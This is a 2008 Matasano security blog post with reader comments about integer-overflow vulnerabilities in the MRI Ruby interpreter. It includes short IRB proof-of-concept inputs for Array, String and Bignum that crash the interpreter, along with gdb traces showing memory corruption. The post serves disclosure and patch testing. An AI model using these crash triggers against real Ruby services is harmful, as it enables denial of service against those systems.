Updates on Drew Yao’s Terrible Ruby Vulnerabilities

Eric Monti | June 20th, 2008 | Filed Under: Uncategorized

[Update: Hello Slashdot and Reddit Readers]

Here’s what we think you should know about the Ruby vulnerabilities:

There are at least three easily exploitable vulnerabilities in MRI, the de facto standard Ruby interpreter. Matasano didn’t discover any of them —- Drew Yao, from Apple’s security team, did the heavy lifting. Reviewing the code for the MRI interpreter is tedious and difficult work, and Drew deserves your thanks for finding these problems and handling them professionally.

All three published vulnerabilities allow normal Ruby code to be coerced into corrupting the memory of the interpreter. They involve integer handling errors in the native code backing Ruby’s Array, String, and Bignum classes. These are core classes in Ruby, and don’t depend on the libraries or extensions that programs load. The vulnerabilities, which are common to all large C codebases, exploit the fact that numbers “wrap” when they hit the largest size allowable by the CPU (usually 32 bits), and the fact that negative numbers and very, very large positive numbers share the same underlying machine representation.

The ability to overwrite memory in the Ruby interpreter is basically the same thing as the ability to upload native machine code into the interpreter. There are thousands of locations in memory that, if overwritten, can redirect code to unsafe libraries or directly into input buffers (such as the contents of web requests). The conditions under which the vulnerabilities are exploitable depend on the Ruby programs you are running. But don’t gamble. Update as soon as you can.

There’s a discussion on the Ruby Forum site about the issues people are having upgrading. We’ll try to track the details of the actual vulnerabilities here, but we’re security people, not Ruby release managers, so you’ll want to direct questions about patches there.

[Resuming regularly scheduled blog post]


Several of us at Matasano felt a chill up our spine seeing this news today. If you do any serious work with ruby, you probably should have too.

Uh… sounds not so good:

With the following vulnerabilities, an attacker can lead to denial of service condition or execute arbitrary code.

The CVE descriptions are just in “reserved” state, no details at all yet. So, we took a quick stroll over to the ruby subversion tracker and poked around a bit to look for some clues. Clue 1, Drew Yao of Apple Product Security apparently found this stuff. Credit goes to him:

Warning, viewing these patches may not be suitable for young adults and small children. Ominous stuff here.

Revision 17460
* array.c (ary_new, rb_ary_initialize, rb_ary_store, rb_ary_aplice, rb_ary_times): integer overflows should be checked. based on patches from Drew Yao <ayao at apple.com> fixed CVE-2008-2726
* string.c (rb_enc_cr_str_buf_cat): fixed unsafe use of alloca, which led memory corruption. based on a patch from Drew Yao <ayao at apple.com> fixed CVE-2008-2726

… ouch!

A little while later we’re playing around in IRB:

Playing with arrays:

irb(main):001:0> ary = []
=> []
irb(main):002:0> ary[0x7fffffff] = "A"
(irb):2: [BUG] Segmentation fault
ruby 1.8.6 (2007-09-24) [universal-darwin9.0]
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00500000
0x000c106d in rb_ary_store ()
(gdb) x/i $eip
0xc106d : movl   $0x4,(%edx,%eax,4)
(gdb) p/x $edx
$1 = 0x444340
(gdb) p/x $eax
$2 = 0x2ef30

Playing with strings:

irb(main):001:0> str = "A"*(2**16) ; nil
=> nil
irb(main):002:0> while 1; str << str ; puts str.size; end
131072
...
1073741824
(irb):2: [BUG] Segmentation fault
ruby 1.8.6 (2007-09-24) [universal-darwin9.0]

Abort trap
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41008000
0xffff132f in __longcopy ()
(gdb) x/i $eip
0xffff132f <__longcopy+303>:    movntdq %xmm0,(%edi,%edx,1)
(gdb) p/x $edi
$1 = 0x41040000
(gdb) p/x $edx
$2 = 0xfffc8000
(gdb) 

Why is this so disturbing? These vulnerabilities are likely to crop up in just about any average ruby web application. And by “crop up” I mean “crop up exploitable from trivial user-specified parameters”. It’s not hard to begin imagining cases where Ruby/Rails programmers use code similar to the samples above to routinely handle user input. Unlike un-handled ruby exceptions getting raised, these bugs aren’t the fault of the programmer as much as the fault of the interpreter. Part of the unwritten “contract” with your interpreted language is that it will prevent you from letting ridiculous things happen by raising an exception.

Weaponizing these for code-execution may or may not be trivial (we’re looking into this too, — keep you posted). But even a class of DoS attacks this trivial would be horrible enough.

We’re still looking into this and will update as new info becomes available.

[Update]

The comments are pretty interesting. Ruby missed one of Drew’s patches, leaving p22 still open to the string case; it’s been fixed since. There’s also a Bignum example case.

41 Comments so far

  • Zero Day mobile edition

    June 20th, 2008 6:49 pm

    […] Over on the Matasano Security blog, Thomas Ptacek describes some of these vulnerabilities as “disturbing.” These […]

  • tj

    June 20th, 2008 9:57 pm

    Pathed to 1.8.7-p22 and the string bug outlined above still causes the segfault:
    irb(main):005:0> str = “A”*(2**16) ;while 1; str < ary = []; ary[0×7fffffff] = “A”
    IndexError: index 2147483647 too big

  • Eric Monti

    June 20th, 2008 10:45 pm

    For the record… I love Ruby. I blame Drew!

  • mac

    June 21st, 2008 9:44 am

    I guess I expected this after watching jf’s talk “Horizon 3: smashing the stack for profit (advances in attacking interpreted languages)” at this years PH-Neutral.

  • Rhys

    June 21st, 2008 11:11 am

    @tj

    Was it just the string operation that still caused the segfault on 1.8.7-p22?

    I’d say IndexError is the correct(er) error to throw for the second issue - array[0×7fffffff] assignment? It’s a different result to the segfault it caused on my ruby 1.8.6 (2007-09-24 patchlevel 111).

  • Drew Yao

    June 21st, 2008 3:36 pm

    Re: the crash on 1.8.7-p22, I have forwarded it on to the Ruby security team.

    The test case does not cause a crash in the patched version of 1.8.6 that will be going out in a Mac OS X update soon. The patch that Ruby ended up with was not the same as the one that I sent them.

  • Nobu Nakada

    June 21st, 2008 9:21 pm

    Very sorry, fixed it.

  • […] Eric Monti has posted code examples to demonstrate some issues. […]

  • […] Eric Monti 的 Updates on Drew Yao’s Terrible Ruby Vulnerabilities 以及Zed 的 The Big Ruby […]

  • Thomas Ptacek

    June 22nd, 2008 3:46 am

    The test case for Bignum (note to Zed: this was fixed in a commit labelled “check for integer overflow”) is easy:

    i = 1 < < 0x1fffffff; j = i; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j = j < < 0x1fffffff; true
    j

    Break in rb_big2str, and land here:

    677 while (i && j) {
    (gdb) print i
    $16 = 134217728
    (gdb) print j
    $17 = 2

    (”i” is the size of the bignum, “j” is the size of the target string).

  • Snagg

    June 22nd, 2008 5:00 am

    Uhm done some test last night. Seems like in rb_ary_store (), before writing to the array the memory is zeroed, resulting in a crash. Still there might be other entry points next candidate: rb_ary_times().

  • brian

    June 22nd, 2008 6:12 am

    Using

    defaults write com.apple.CrashReporter DialogType developer

    I get for ary[0×7fffffff] = “A”:

    EXC_BAD_ACCESS (0×0001)
    KERN_PROTECTION_FAILURE (0×0002) at 0×00705000

    Thread 0 Crashed:
    0 rb_mem_clear + 16 (array.c:30)
    1 rb_ary_store + 212 (array.c:377)
    2 rb_ary_aset + 412 (array.c:1078)
    3 rb_call0 + 1196 (eval.c:5815)
    4 rb_call + 612 (eval.c:6063)
    5 rb_eval + 6804 (eval.c:3430)
    6 eval + 1068 (eval.c:6458)
    7 rb_f_eval + 468 (eval.c:6576)
    8 rb_call0 + 1196 (eval.c:5815)
    9 rb_call + 612 (eval.c:6063)

    Just my two cents.

  • spatulasnout

    June 23rd, 2008 1:46 am

    Updated to latest subversion ruby_1_8_6 branch, revision 17546. (patchlevel 231)

    Still getting a seg fault on:

    ruby -ve ’str = “A”*(2**16) ; loop{ str << str ; puts str.size }’
    ruby 1.8.6 (2008-06-22 patchlevel 231) [i686-linux]
    131072
    262144
    -e:1: [BUG] Segmentation fault

  • […] Just in case you are using Ruby for whatever purpose (esp. in web applications) you might want to be aware of the recently discovered security holes. They can lead to Denial of Service Attacks or execution of arbitrary code. And this cannot happen just under some strange circumstances but might affect applications in general as describe in the Matasano blog. […]

  • Aure

    June 23rd, 2008 9:37 am

    I’ve tried both ways to hang ruby and it didn’t work on my PC. First one works as I expected:
    irb(main):001:0> ary = []
    => []
    irb(main):002:0> ary[0×7ffffff] = “A”
    => “A”
    irb(main):003:0> ary[0×7ffffff] = “A”
    => “A”
    irb(main):004:0> ary[0×7ffffff]
    => “A”

    The second one, started to trash (I expected it because of the size of the string) and I aborted it.
    irb(main):006:0> while 1;str<<str;puts str.size;end
    131072
    262144
    524288
    1048576
    2097152
    4194304
    8388608
    16777216
    33554432
    67108864
    134217728
    268435456
    536870912
    IRB::Abort: abort then interrupt!!
    from /usr/lib/ruby/1.8/irb.rb:81:in `irb_abort’
    from /usr/lib/ruby/1.8/irb.rb:243:in `signal_handle’
    from /usr/lib/ruby/1.8/irb.rb:66:in `start’
    from /usr/lib/ruby/1.8/irb.rb:66:in `call’
    from /usr/lib/ruby/1.8/irb.rb:66:in `start’
    from (irb):6:in `call’
    from (irb):6
    from :0

    And I’m using an vulnerable version.
    $ ruby –version
    ruby 1.8.6 (2007-09-24 patchlevel 111) [i486-linux]

    On ubuntu hardy.

    Is this Mac only?
    If it is, the impact is much lower (production servers tend to be Linux for Ruby web applications).

    Aureliano.

  • Igal Koshevoy

    June 23rd, 2008 10:51 am

    It’s great to see some code here that can help assert the errors and their solutions.

    Can folks on this blog thread please join us in a discussion of this issue at the ruby-talk mailing list or its web-accessible thread at http://www.ruby-forum.com/topic/157034 ? I’m trying to get everyone that’s been working on this talking in one place so we can best coordinate our efforts to resolve this.

    Thank you.

    -igal

  • Thomas Ptacek

    June 23rd, 2008 11:28 am

    Igal — really just not at all interested in discussing Zed Shaw’s blog post on ruby-forum.com. I’m sorry you’re having your time wasted like that.

    If you see anything interesting here, you are welcome to cross-post it.

  • Thomas Ptacek

    June 23rd, 2008 11:29 am

    Aure — what version of Ruby? They aren’t Mac-only flaws.

  • ssss

    June 23rd, 2008 11:35 am

    Aure-

    One more f in there and it will crash.

  • […] There are at least three easily exploitable vulnerabilities in MRI, the de facto standard Ruby inter…. Matasano didn’t discover any of them —- Drew Yao, from Apple’s security team, did the heavy lifting. Reviewing the code for the MRI interpreter is tedious and difficult work, and Drew deserves your thanks for finding these problems and handling them professionally. Write a comment […]

  • […] Matasano has some comments available about several vulnerabilities in Ruby. Everybody using Ruby has some patching to do. […]

  • Steve Christey

    June 24th, 2008 1:28 am

    yawn.

    I recognize that I should be committing descriptions including the phrase “context-dependent” to cve.mitre.org instead of expressing the maximum attitude I’m allowed as an allegedly neutral party, but… Ruby is popular. Thus someone’s gonna research it, and they’re gonna find bugs. It’s the circle of strife.

    Of course, whatever replaces Ruby as the newest fad won’t have any vulnerabilities at all, so we can all rest easy after this whole thing blows over.

  • Igal Koshevoy

    June 24th, 2008 3:00 am

    @Thomas Ptacek: That ruby-talk thread I mentioned above is for people that care about Ruby who are actively trying to create a patch to fix these problems. There are at least two very promising patches now available there that need to be reviewed and tested. Maybe you and others can help? Thanks.

  • […] discussion here and here. The community is fixing the problems energetically; but they do appear serious, and some are […]

  • […] company Matasano’s blog entry on the matter says the nature of the vulnerabilities sent chills up their […]

  • Snagg

    June 24th, 2008 6:39 am

    -Igal

    I guest you should have to wait until Ruby developers create a valid patch. The whole code that manages arrays need a bit of review, while playing with those bugs, I’ve found another problem, which I reported to security@ruby-lang. So I think the best thing you can do to help Ruby community, is not providing patches but trying to spot other mistakes in the code and report them. IMHO

  • […] por Julio Pacheco - referência […]

  • Security Alert: Ruby |

    June 24th, 2008 12:05 pm

    […] für Denial of Service (DoS) Attacken sind. Ein Upgrade wird daher dringend empfohlen. Mehr Infos auch hier. [Noch einmal Peter van I. per […]

  • Dominique Brezinski

    June 24th, 2008 4:57 pm

    Well, these issues are not new and have been known about since 2005.

    http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/7818

    http://www.blackhat.com/presentations/bh-jp-05/bh-jp-05-brezinski.pdf

    Fixing the macros (which should be replaced with functions AFAIAC) was not the right approach, which Matz knew, but he did not (nor any other member of core) choose to fix the issues in the 1.8 code. Now it is 2008 and Yao had to rediscover the problems to make something happen. Way to go ruby-core!

  • […] Eric Monti’s Code Sample - actual demonstration of the vulnerability. […]

  • jf

    June 25th, 2008 12:07 am

    awesome. ;D

    just wait until i go public with my javascript stuff !

  • […] Just in case you are using Ruby for whatever purpose (esp. in web applications) you might want to be aware of the recently discovered security holes. They can lead to Denial of Service Attacks or execution of arbitrary code. And this cannot happen just under some strange circumstances but might affect applications in general as describe in the Matasano blog http://www.matasano.com/log/1070/updates-on-drew-yaos-terrible-ruby-vulnerabilities/ […]

  • Jon

    June 25th, 2008 5:50 am

    Hi, your fixed-width code sections in the blog are too thin for the font size I use. Could you consider adding the magic CSS that will add scrollbars for overflowing fixed-width elements?

  • […] Matasano Chargen […]

  • […] person could take advantage of these vulnerability and execute arbitrary code. Matasano has a few practical examples which illustrate the vulnerabilities in question. To learn more head over to the official advisory. […]

  • DeLynn Berry

    June 26th, 2008 1:11 pm

    Has any successfully gotten both of these test to *not* segmentation fault?

    Here is a pastie of my efforts: http://pastie.org/222714.

  • filip

    June 27th, 2008 1:27 pm

    Use RE:Trace to hunt it down to the last bit!

    http://www.poppopret.org/code.html

  • […] http://www.ruby-lang.org/en/news/2008/06/20/arbitrary-code-cution-vulnerabilities/ http://www.matasano.com/log/1070/s-on-drew-yaos-terrible-ruby-vulnerabilities/ *> 建议: ——————————————————————————– […]

  • […] bit over week has now gone by after critical vulnerabilities in ruby’s runtime were announced and a couple of interesting developments […]

  • […] I’m late to that particular party, but some serious vulnerabilities have been found in the main Ruby interpreter. Unfortunately it seems that the official maintainers […]

  • […] interest to Ruby Programmers I just read about some serious vulnerabilities were discovered in Ruby by Drew Yao, a member of Apple’s security […]

  • Leave a reply